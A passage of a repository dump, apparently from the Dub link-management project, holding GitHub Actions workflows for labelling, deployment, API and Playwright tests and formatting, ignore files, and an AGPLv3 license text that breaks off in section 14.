[
  {
    "path": ".github/workflows/apply-issue-labels-to-pr.yml",
    "content": "name: \"Apply issue labels to PR\"\n\non:\n  pull_request_target:\n    types:\n      - opened\n\njobs:\n  label_on_pr:\n    runs-on: ubuntu-latest\n\n    permissions:\n      contents: none\n      issues: read\n      pull-requests: write\n\n    steps:\n      - name: Apply labels from linked issue to PR\n        uses: actions/github-script@v7\n        with:\n          github-token: ${{ secrets.GITHUB_TOKEN }}\n          script: |\n            async function getLinkedIssues(owner, repo, prNumber) {\n              const query = `query GetLinkedIssues($owner: String!, $repo: String!, $prNumber: Int!) {\n                repository(owner: $owner, name: $repo) {\n                  pullRequest(number: $prNumber) {\n                    closingIssuesReferences(first: 10) {\n                      nodes {\n                        number\n                        labels(first: 10) {\n                          nodes {\n                            name\n                          }\n                        }\n                      }\n                    }\n                  }\n                }\n              }`;\n\n              const variables = {\n                owner: owner,\n                repo: repo,\n                prNumber: prNumber,\n              };\n\n              const result = await github.graphql(query, variables);\n              return result.repository.pullRequest.closingIssuesReferences.nodes;\n            }\n\n            const pr = context.payload.pull_request;\n            const linkedIssues = await getLinkedIssues(\n              context.repo.owner,\n              context.repo.repo,\n              pr.number\n            );\n\n            const labelsToAdd = new Set();\n            for (const issue of linkedIssues) {\n              if (issue.labels && issue.labels.nodes) {\n                for (const label of issue.labels.nodes) {\n                  labelsToAdd.add(label.name);\n                }\n              }\n            }\n\n            if (labelsToAdd.size) {\n              await github.rest.issues.addLabels({\n                owner: context.repo.owner,\n                repo: context.repo.repo,\n                issue_number: pr.number,\n                labels: Array.from(labelsToAdd),\n              });\n            }\n"
  },
  {
    "path": ".github/workflows/deploy-embed-script.yml",
    "content": "name: \"Deploy embed script\"\n\non:\n  push:\n    branches:\n      - main\n    paths:\n      - \"packages/embeds/core/**\"\n  workflow_dispatch:\n\njobs:\n  deploy:\n    runs-on: ubuntu-latest\n\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@v3\n\n      - name: Setup pnpm\n        uses: pnpm/action-setup@v3\n        with:\n          version: 8\n      - name: Install dependencies & build\n        run: pnpm --filter @dub/embed-core build\n\n      # - name: Deploy to Cloudflare Pages (https://www.dubcdn.com/embed/script.js)\n      #   uses: cloudflare/wrangler-action@v3\n      #   with:\n      #     apiToken: ${{ secrets.CLOUDFLARE_PAGES_API_KEY }}\n      #     accountId: ${{ secrets.CLOUDFLARE_ACCOUNT_ID }}\n      #     command: pages deploy dist/embed/script.js --project-name=dub-cdn --commit-dirty=true\n      #     workingDirectory: packages/embeds/core\n      #     packageManager: pnpm\n"
  },
  {
    "path": ".github/workflows/e2e.yaml",
    "content": "name: Public API Tests\n\non:\n  deployment_status:\n\njobs:\n  api-tests:\n    timeout-minutes: 30\n    if: github.event_name == 'deployment_status' && github.event.deployment_status.state == 'success'\n    runs-on: ubuntu-latest\n    steps:\n      - name: Check out code\n        uses: actions/checkout@v2\n\n      - name: Setup pnpm\n        uses: pnpm/action-setup@v3\n\n      - name: Setup Node.js environment\n        uses: actions/setup-node@v4\n        with:\n          node-version: 20\n          cache: \"pnpm\"\n\n      - name: Install dependencies\n        run: pnpm install\n\n      - name: Build utils\n        working-directory: packages/utils\n        run: pnpm build\n\n      - name: Run tests\n        working-directory: apps/web\n        env:\n          E2E_BASE_URL: ${{ github.event.deployment_status.environment_url }}\n          E2E_TOKEN: ${{ secrets.E2E_TOKEN }}\n          E2E_TOKEN_MEMBER: ${{ secrets.E2E_TOKEN_MEMBER }}\n          E2E_TOKEN_OLD: ${{ secrets.E2E_TOKEN_OLD }}\n          E2E_PUBLISHABLE_KEY: ${{ secrets.E2E_PUBLISHABLE_KEY }}\n          QSTASH_TOKEN: ${{ secrets.QSTASH_TOKEN }}\n          QSTASH_CURRENT_SIGNING_KEY: ${{ secrets.QSTASH_CURRENT_SIGNING_KEY }}\n          NEXT_PUBLIC_NGROK_URL: ${{ github.event.deployment_status.environment_url }}\n        run: pnpm test\n"
  },
  {
    "path": ".github/workflows/playwright.yaml",
    "content": "name: Playwright E2E Tests\n\non:\n  pull_request:\n    branches: [main]\n    paths:\n      - \"apps/web/**\"\n      - \"packages/**\"\n      - \".github/workflows/playwright.yaml\"\n\nconcurrency:\n  group: e2e-${{ github.head_ref }}\n  cancel-in-progress: true\n\njobs:\n  e2e:\n    permissions:\n      contents: read\n    timeout-minutes: 20\n    runs-on: ubuntu-latest\n\n    env:\n      CI: \"true\"\n      NODE_OPTIONS: \"--max-old-space-size=8192\"\n      DATABASE_URL: \"mysql://root:@localhost:3306/planetscale\"\n      PLANETSCALE_DATABASE_URL: \"http://root:unused@localhost:3900/planetscale\"\n\n      NEXTAUTH_SECRET: \"e2e-test-secret-at-least-32-chars-long\"\n      NEXTAUTH_URL: \"http://partners.localhost:8888\"\n\n      NEXT_PUBLIC_APP_NAME: \"Dub\"\n      NEXT_PUBLIC_APP_DOMAIN: \"dub.co\"\n      NEXT_PUBLIC_APP_SHORT_DOMAIN: \"dub.sh\"\n\n      E2E_PARTNER_EMAIL: \"partner1@dub-internal-test.com\"\n      E2E_PARTNER_PASSWORD: \"password\"\n\n      TINYBIRD_API_KEY: \"xx\"\n      TINYBIRD_API_URL: \"xx\"\n\n      UPSTASH_REDIS_REST_URL: \"https://sensible-camel-xxxx.upstash.io\"\n      UPSTASH_REDIS_REST_TOKEN: \"xx\"\n      UPSTASH_VECTOR_REST_URL: \"https://sensible-camel-xxxx.upstash.io\"\n      UPSTASH_VECTOR_REST_TOKEN: \"xx\"\n      QSTASH_TOKEN: \"xx\"\n      QSTASH_CURRENT_SIGNING_KEY: \"xx\"\n      QSTASH_NEXT_SIGNING_KEY: \"xx\"\n\n      AXIOM_TOKEN: \"\"\n      AXIOM_DATASET: \"\"\n\n      RESEND_API_KEY: \"xx\"\n\n      EMBEDDING_SYNC_SECRET: \"xx\"\n      ANTHROPIC_API_KEY: \"xx\"\n\n      STRIPE_SECRET_KEY: \"xx\"\n      STRIPE_WEBHOOK_SECRET: \"xx\"\n      STRIPE_CONNECT_WEBHOOK_SECRET: \"xx\"\n      STRIPE_APP_WEBHOOK_SECRET_TEST: \"xx\"\n      STRIPE_APP_SECRET_KEY_TEST: \"xx\"\n      STRIPE_CONNECT_V2_WEBHOOK_SECRET: \"xx\"\n      STRIPE_APP_SECRET_KEY_SANDBOX: \"xx\"\n\n    services:\n      mysql:\n        image: mysql:8.0\n        env:\n          MYSQL_DATABASE: planetscale\n          MYSQL_ROOT_HOST: \"%\"\n          MYSQL_ALLOW_EMPTY_PASSWORD: \"yes\"\n        options: >-\n          --health-cmd=\"mysqladmin ping -h 127.0.0.1\"\n          --health-interval=10s\n          --health-timeout=5s\n          --health-retries=5\n        ports:\n          - 3306:3306\n\n    steps:\n      - name: Check out code\n        uses: actions/checkout@v4\n\n      - name: Start PlanetScale simulator\n        run: |\n          docker run -d --name ps-http-sim \\\n            --network host \\\n            ghcr.io/mattrobenolt/ps-http-sim:latest \\\n            -listen-addr=0.0.0.0 \\\n            -listen-port=3900 \\\n            -mysql-dbname=planetscale \\\n            -mysql-no-pass \\\n            -mysql-addr=127.0.0.1\n\n      - name: Setup pnpm\n        uses: pnpm/action-setup@v3\n\n      - name: Setup Node.js\n        uses: actions/setup-node@v4\n        with:\n          node-version: 20\n          cache: \"pnpm\"\n\n      - name: Install dependencies\n        run: pnpm install\n\n      - name: Cache Playwright browsers\n        id: playwright-cache\n        uses: actions/cache@v4\n        with:\n          path: ~/.cache/ms-playwright\n          key: playwright-${{ runner.os }}-${{ hashFiles('apps/web/package.json') }}\n\n      - name: Install Playwright Chromium\n        if: steps.playwright-cache.outputs.cache-hit != 'true'\n        run: pnpm --filter web exec playwright install chromium\n\n      - name: Generate Prisma client\n        working-directory: apps/web\n        run: pnpm prisma:generate\n\n      - name: Push database schema\n        working-directory: apps/web\n        run: pnpm prisma:push\n\n      - name: Seed test data\n        working-directory: apps/web\n        run: pnpm tsx playwright/seed.ts\n\n      # - name: Cache Next.js build\n      #   uses: actions/cache@v4\n      #   with:\n      #     path: apps/web/.next/cache\n      #     key: nextjs-${{ runner.os }}-${{ hashFiles('pnpm-lock.yaml') }}-${{ hashFiles('apps/web/**/*.ts', 'apps/web/**/*.tsx') }}\n      #     restore-keys: |\n      #       nextjs-${{ runner.os }}-${{ hashFiles('pnpm-lock.yaml') }}-\n      #       nextjs-${{ runner.os }}-\n\n      # - name: Cache Turbo\n      #   uses: actions/cache@v4\n      #   with:\n      #     path: .turbo\n      #     key: turbo-${{ runner.os }}-${{ github.sha }}\n      #     restore-keys: |\n      #       turbo-${{ runner.os }}-\n\n      - name: Build application\n        run: pnpm turbo build --filter=web\n\n      - name: Run Playwright tests\n        working-directory: apps/web\n        run: pnpm test:e2e\n"
  },
  {
    "path": ".github/workflows/prettier.yaml",
    "content": "name: Prettier Check\n\non:\n  push:\n    branches:\n      - main\n  pull_request:\n    branches:\n      - main\n  workflow_dispatch:\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Check out code\n        uses: actions/checkout@v4\n\n      - name: Setup pnpm\n        uses: pnpm/action-setup@v3\n\n      - name: Install dependencies\n        run: pnpm install\n\n      - name: Fix prettier issues\n        run: pnpm run format\n\n      - name: Check prettier format\n        run: pnpm run prettier-check\n"
  },
  {
    "path": ".gitignore",
    "content": "# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.\n\n# dependencies\nnode_modules\ndist/\n\n# next.js\n.next/\n/out/\n\n# production\n/build\n\n# misc\n.DS_Store\n*.pem\n\n# debug\n.pnpm-debug.log*\n\n# local env files\n.env*.local\n.env\n\n# vercel\n.vercel\n\n# tinybird\n.venv\n.tinyb\n\n# turbo\n.turbo\n\n# typescript\n*.tsbuildinfo\nnext-env.d.ts\n\n# miscellaneous\n/pages/api/scripts*\npackages/stripe-app/.build/*\n.react-email\n.contentlayer\n.vscode\n*.csv\n*.ndjson\n.vitest\n\n# playwright\nplaywright-report/\n**/playwright/.auth/\ntest-results/\nblob-report/"
  },
  {
    "path": ".prettierignore",
    "content": "node_modules\npnpm-lock.yaml\n.next\n.turbo\ndist"
  },
  {
    "path": "LICENSE.md",
    "content": "Copyright (c) 2024-present Dub Technologies, Inc.\n\nPortions of this software – namely all files that reside under the following directories of this repository – are licensed under the license defined in \"[ee/LICENSE.md](<https://github.com/dubinc/dub/tree/main/apps/web/app/(ee)/LICENSE.md>)\".\n\n- [apps/web/app/(ee)](<https://github.com/dubinc/dub/tree/main/apps/web/app/(ee)>)\n- [apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)](<https://github.com/dubinc/dub/tree/main/apps/web/app/app.dub.co/(dashboard)/%5Bslug%5D/(ee)>)\n\nAll third-party components incorporated into the Dub Software are licensed under the original license provided by the owner of the applicable component.\n\nContent outside of the above mentioned directories or restrictions above is available under the \"AGPLv3\" license as defined below.\n\n---\n\n                    GNU AFFERO GENERAL PUBLIC LICENSE\n                       Version 3, 19 November 2007\n\nCopyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\nEveryone is permitted to copy and distribute verbatim copies\nof this license document, but changing it is not allowed.\n\n                            Preamble\n\nThe GNU Affero General Public License is a free, copyleft license for\nsoftware and other kinds of works, specifically designed to ensure\ncooperation with the community in the case of network server software.\n\nThe licenses for most software and other practical works are designed\nto take away your freedom to share and change the works. By contrast,\nour General Public Licenses are intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.\n\nWhen we speak of free software, we are referring to freedom, not\nprice. Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\nDevelopers that use our General Public Licenses protect your rights\nwith two steps: (1) assert copyright on the software, and (2) offer\nyou this License which gives you legal permission to copy, distribute\nand/or modify the software.\n\nA secondary benefit of defending all users' freedom is that\nimprovements made in alternate versions of the program, if they\nreceive widespread use, become available for other developers to\nincorporate. Many developers of free software are heartened and\nencouraged by the resulting cooperation. However, in the case of\nsoftware used on network servers, this result may fail to come about.\nThe GNU General Public License permits making a modified version and\nletting the public access it on a server without ever releasing its\nsource code to the public.\n\nThe GNU Affero General Public License is designed specifically to\nensure that, in such cases, the modified source code becomes available\nto the community. It requires the operator of a network server to\nprovide the source code of the modified version running there to the\nusers of that server. Therefore, public use of a modified version, on\na publicly accessible server, gives the public access to the source\ncode of the modified version.\n\nAn older license, called the Affero General Public License and\npublished by Affero, was designed to accomplish similar goals. This is\na different license, not a version of the Affero GPL, but Affero has\nreleased a new version of the Affero GPL which permits relicensing under\nthis license.\n\nThe precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n0. Definitions.\n\n\"This License\" refers to version 3 of the GNU Affero General Public License.\n\n\"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n\"The Program\" refers to any copyrightable work licensed under this\nLicense. Each licensee is addressed as \"you\". \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\nTo \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy. The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\nA \"covered work\" means either the unmodified Program or a work based\non the Program.\n\nTo \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy. Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\nTo \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies. Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\nAn interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License. If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n1. Source Code.\n\nThe \"source code\" for a work means the preferred form of the work\nfor making modifications to it. \"Object code\" means any non-source\nform of a work.\n\nA \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\nThe \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form. A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\nThe \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities. However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work. For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\nThe Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\nThe Corresponding Source for a work in source code form is that\nsame work.\n\n2. Basic Permissions.\n\nAll rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met. This License explicitly affirms your unlimited\npermission to run the unmodified Program. The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work. This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\nYou may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force. You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright. Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\nConveying under any other circumstances is permitted solely under\nthe conditions stated below. Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\nNo covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\nWhen you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n4. Conveying Verbatim Copies.\n\nYou may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\nYou may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n5. Conveying Modified Source Versions.\n\nYou may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\nA compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit. Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n6. Conveying Non-Source Forms.\n\nYou may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\nA separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\nA \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling. In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage. For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product. A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n\"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source. The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\nIf you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information. But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\nThe requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed. Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\nCorresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n7. Additional Terms.\n\n\"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law. If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\nWhen you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit. (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.) You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\nNotwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\nAll other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10. If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term. If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\nIf you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\nAdditional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n8. Termination.\n\nYou may not propagate or modify a covered work except as expressly\nprovided under this License. Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\nHowever, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\nMoreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\nTermination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License. If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n9. Acceptance Not Required for Having Copies.\n\nYou are not required to accept this License in order to receive or\nrun a copy of the Program. Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance. However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work. These actions infringe copyright if you do\nnot accept this License. Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n10. Automatic Licensing of Downstream Recipients.\n\nEach time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License. You are not responsible\nfor enforcing compliance by third parties with this License.\n\nAn \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations. If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\nYou may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License. For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n11. Patents.\n\nA \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based. The\nwork thus licensed is called the contributor's \"contributor version\".\n\nA contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version. For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\nEach contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\nIn the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement). To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\nIf you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients. \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\nIf, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\nA patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License. You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\nNothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n12. No Surrender of Others' Freedom.\n\nIf conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License. If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all. For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n13. Remote Network Interaction; Use with the GNU General Public License.\n\nNotwithstanding any other provision of this License, if you modify the\nProgram, your modified version must prominently offer all users\ninteracting with it remotely through a computer network (if your version\nsupports such interaction) an opportunity to receive the Corresponding\nSource of your version by providing access to the Corresponding Source\nfrom a network server at no charge, through some standard or customary\nmeans of facilitating copying of software. This Corresponding Source\nshall include the Corresponding Source for any work covered by version 3\nof the GNU General Public License that is incorporated pursuant to the\nfollowing paragraph.\n\nNotwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU General Public License into a single\ncombined work, and to convey the resulting work. The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the work with which it is combined will remain governed by version\n3 of the GNU General Public License.\n\n14. Revised Versions of this License.\n\nThe Free Software Foundation may publish revised and/or new versions of\nthe GNU Affero General Public License from time to time. 